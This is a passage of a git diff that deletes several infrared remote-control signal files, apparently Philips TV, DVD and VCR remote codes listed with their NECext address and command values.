-name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 15 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1B 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 23 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 2B 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 2B 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 2B 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 60 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 61 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 61 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 62 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 63 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 6F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 6F 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 72 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 72 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 73 00 00 00 -# -name: cc -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 73 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir deleted file mode 100644 index 27d6863b5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: widedown -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: wideup -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: blankscreen -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir deleted file mode 100644 index 999268017..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: off -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0A 00 00 00 -# -name: fav -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0D 00 00 00 -# -name: bildinbild -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0E 00 00 00 -# -name: store -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0F 00 00 00 -# -name: video -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 10 00 00 00 -# -name: audio -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 11 00 00 00 -# -name: h/v -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 12 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 13 00 00 00 -# -name: tune -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 14 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 15 00 00 00 -# -name: lnb -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 18 00 00 00 -# -name: up -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1C 00 00 00 -# -name: down -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1D 00 00 00 -# -name: tv/sat -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1E 00 00 00 -# -name: lock -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir deleted file mode 100644 index 9cd830990..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 04 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 05 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 06 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 -# -name: info/select -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 08 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0E 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 21 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 22 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 26 00 00 00 -# -name: scan+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 28 00 00 00 -# -name: scan- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 29 00 00 00 -# -name: KEY_QUIT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 33 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 34 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 35 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3B 00 00 00 -# -name: toggle -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3E 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir deleted file mode 100644 index d5fce2dc3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MenuDown -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 00 00 00 00 -# -name: Display/Info -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 01 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 02 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 03 00 00 00 -# -name: Input/Setup -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 04 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 05 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 06 00 00 00 -# -name: KEY_M -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 07 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 08 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 09 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 0A 00 00 00 -# -name: Angle/PiP -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 0D 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 0E 00 00 00 -# -name: MenuRight/Next -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 10 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 11 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 12 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 13 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 14 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 15 00 00 00 -# -name: MenuUp -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 16 00 00 00 -# -name: MenuLeft/Back -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 17 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 18 00 00 00 -# -name: Repeat/PrevChan -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 19 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 1A 00 00 00 -# -name: MenuSelect/OK -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 1B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 1C 00 00 00 -# -name: ScanBackwards/Rewind -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 1D 00 00 00 -# -name: ScanForwards/FastForward -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: 1F 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: FF 00 00 00 -# -name: Exit/Return -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: FF 00 00 00 -# -name: Swap -type: parsed -protocol: NECext -address: 40 2F 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir deleted file mode 100644 index d35b81c16..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: s.mode -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0A 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0D 00 00 00 -# -name: recall -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 12 00 00 00 -# -name: vol+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 13 00 00 00 -# -name: vol- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 14 00 00 00 -# -name: power -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 15 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 16 00 00 00 -# -name: up -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 17 00 00 00 -# -name: down -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 18 00 00 00 -# -name: s.effect -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1B 00 00 00 -# -name: menu -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 22 00 00 00 -# -name: p.mode -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 27 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 28 00 00 00 -# -name: swap -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: still -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2A 00 00 00 -# -name: position -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: pip_source -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2C 00 00 00 -# -name: p.fmt -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3D 00 00 00 -# -name: color_temp -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 82 00 00 00 -# -name: pixel_shift -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 83 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir deleted file mode 100644 index 54770a2da..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: repeat-a-b -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: usb -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7E 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C7 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D1 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir deleted file mode 100644 index 3189bf0a9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_STANDBY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: TV_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: TV_VOL_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: TV_VOL_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: TV_PRG_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: TV_PRG_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir deleted file mode 100644 index 6b36c954d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir +++ /dev/null @@ -1,482 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: VCR_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: VCR_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: VCR_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: VCR_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: VCR_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: VCR_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: VCR_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: VCR_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: TV_-/-- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: VCR_-/-- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: TV_STANDBY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: VCR_STANDBY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: TV_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: VCR_EJECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: TV_PP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: VCR_PP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: TV_OSD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: VCR_OSD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0F 00 00 00 -# -name: TV_VOL_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VCR_VOL_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: TV_VOL_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: VCR_VOL_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: TV_BRIGHT_PLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: VCR_BRIGHT_MINUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 12 00 00 00 -# -name: TV_BRIGHT_MINUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: VCR_BRIGHT_PLUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 13 00 00 00 -# -name: TV_COLOR_PLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: VCR_COLOR_PLUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 14 00 00 00 -# -name: TV_COLOR_MINUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: VCR_COLOR_MINUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: TV_TEXT_MEMO_OUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: TV_PRG_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: VCR_PRG_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 